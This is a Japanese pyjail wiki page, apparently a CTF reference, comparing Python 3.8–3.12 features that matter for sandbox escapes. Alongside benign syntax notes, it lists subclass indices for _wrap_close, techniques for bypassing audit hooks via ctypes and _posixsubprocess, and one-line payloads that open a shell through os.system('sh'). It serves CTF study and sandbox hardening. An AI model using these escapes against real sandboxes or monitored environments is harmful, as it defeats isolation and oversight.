pyjail wiki

Python Version Differences

Overview

Python バージョン間の pyjail に関連する主要な差分。

バージョン別機能

Python 3.8

  • audit hooks 導入 (PEP 578)
  • walrus 演算子 (:=) 導入
  • positional-only パラメータ (/)
  • f-string での = (デバッグ用)
# walrus
[y := x**2 for x in range(5)]
# f-string debug
x = 10
f"{x=}" # 'x=10'

Python 3.9

  • 辞書のマージ演算子 (|, |=)
  • 型ヒント構文の改善
  • str.removeprefix(), str.removesuffix()
# 辞書マージ
d1 | d2
# removeprefix
'__class__'.removeprefix('__') # 'class__'

Python 3.10

  • match 文導入 (構造的パターンマッチング)
  • パラメータ仕様変数
  • エラーメッセージ改善
# match
match x:
case {'key': value}:
print(value)
case [a, b, *rest]:
print(a, b)

Python 3.11

  • バイトコード大幅変更
  • 例外グループと except*
  • Self
  • TOML 標準ライブラリ化
# except*
try:
raise ExceptionGroup("", [ValueError(), TypeError()])
except* ValueError:
pass
except* TypeError:
pass

Python 3.12

  • f-string の制限緩和
  • 型パラメータ構文
  • __class_getitem__ の変更
# f-string 内でバックスラッシュ許可
f"newline: {chr(10)}"
# 型パラメータ
def func[T](x: T) -> T:
return x

サブクラスインデックスの変動

インデックス探索

for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
print(i, c.__name__)

典型的なインデックス

クラス3.83.93.103.113.12
_wrap_close117127132137140+
catch_warnings140144148152155+
BuiltinImporter8486878990+

注意: これらは参考値。実際の環境でインストール済みモジュールにより変動。

audit hooks

対象イベント

# 主要な監視イベント
'import' # モジュールインポート
'exec' # exec() 呼び出し
'compile' # コードコンパイル
'eval' # eval() 呼び出し (3.12+)
'open' # ファイルオープン
'os.system' # os.system()
'subprocess.Popen' # subprocess 使用

バイパス方法

方法説明
_posixsubprocess.fork_exec監視されない低レベル関数
ctypes.CDLL(None).systemlibc 直接呼び出し
os.posix_spawn一部バージョンで監視なし

バイトコードの違い

Python 3.10 以前

# 固定長命令 (2バイト)
# opcode (1byte) + arg (1byte)

Python 3.11+

# 可変長命令
# specialized instructions
# CACHE 擬似命令
# co_exceptiontable 追加

コードオブジェクトの互換性

# 3.11+ での変更
code.replace(co_consts=new_consts) # 推奨方法
# 3.10 以前
types.CodeType(...) # 直接コンストラクタ

セキュリティ強化

Python 3.11

  • バイトコードの不変化
  • より厳格なフレームアクセス

Python 3.12

  • より多くの audit イベント
  • 一部のバイパス手法が困難に

後方互換性のないペイロード

3.10+ 限定

# match 文
match __builtins__:
case {'eval': e}:
e('...')

3.8+ 限定

# walrus
[x := __import__('os'), x.system('sh')]

全バージョン対応

# 基本的なサブクラスチェーン
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']('sh')

環境チェック

import sys
# バージョン確認
sys.version_info
# audit hook の有無確認
hasattr(sys, 'addaudithook')
# サブクラス数
len(object.__subclasses__())